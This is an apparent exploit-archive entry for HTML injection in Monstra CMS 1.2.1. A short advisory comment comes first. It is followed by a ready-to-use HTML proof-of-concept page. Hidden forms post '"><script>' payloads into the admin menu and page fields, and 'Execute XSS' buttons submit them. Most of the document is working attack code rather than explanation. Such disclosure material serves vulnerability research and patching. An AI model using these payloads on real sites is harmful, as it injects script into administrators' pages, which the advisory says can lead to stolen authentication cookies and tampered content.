Monstra CMS 1.2.1 – Multiple HTML Injection Vulnerabilities
<!--source: https://www.securityfocus.com/bid/55171/info Monstra is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. Monstra 1.2.1 is vulnerable; other versions may also be affected. --> <html> <head> <title>Monstra 1.2.1 Multiple HTML Injection Vulnerabilities</title> </head> <body> <form id="add_menu" method="POST" action="http://www.example.com/monstra/admin/index.php?id=menu&action=add"> <input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" /> <input type="hidden" name="menu_add_item" value="Save" /> <input type="hidden" name="menu_item_link" value='"><script>alert(1);</script>' /> <input type="hidden" name="menu_item_name" value='"><script>alert(2);</script>' /> <input type="hidden" name="menu_item_order" value="0" /> <input type="hidden" name="menu_item_target" value="" /> </form> <form id="add_page" method="POST" action="http://www.example.com/monstra/admin/index.php?id=pages&action=add_page"> <input type="hidden" name="add_page_and_exit" value="Save and exit" /> <input type="hidden" name="csrf" value="a7de775dce681ae31b7e8954d6305667b0df69e0" /> <input type="hidden" name="day" value="21" /> <input type="hidden" name="editor" value="Tojmi Sesvidja" /> <input type="hidden" name="minute" value="17" /> <input type="hidden" name="month" value="08" /> <input type="hidden" name="page_description" value="Zero Science Lab" /> <input type="hidden" name="page_keywords" value="ZSL-2012-5101" /> <input type="hidden" name="page_name" value="XSS" /> <input type="hidden" name="page_title" value='"><script>alert(3);</script>' /> <input type="hidden" name="pages" value="0" /> <input type="hidden" name="second" value="29" /> <input type="hidden" name="status" value="published" /> <input type="hidden" name="templates" value="index" /> <input type="hidden" name="year" value="2012" /> </form> <script type="text/javascript"> function xss1(){ document.forms["add_menu"].submit(); } function xss2(){ document.forms["add_page"].submit(); } </script> <input type="button" value="Execute XSS 1" onClick="xss1()" /> <br /><br /> <input type="button" value="Execute XSS 2" onClick="xss2()" /> </body> </html> |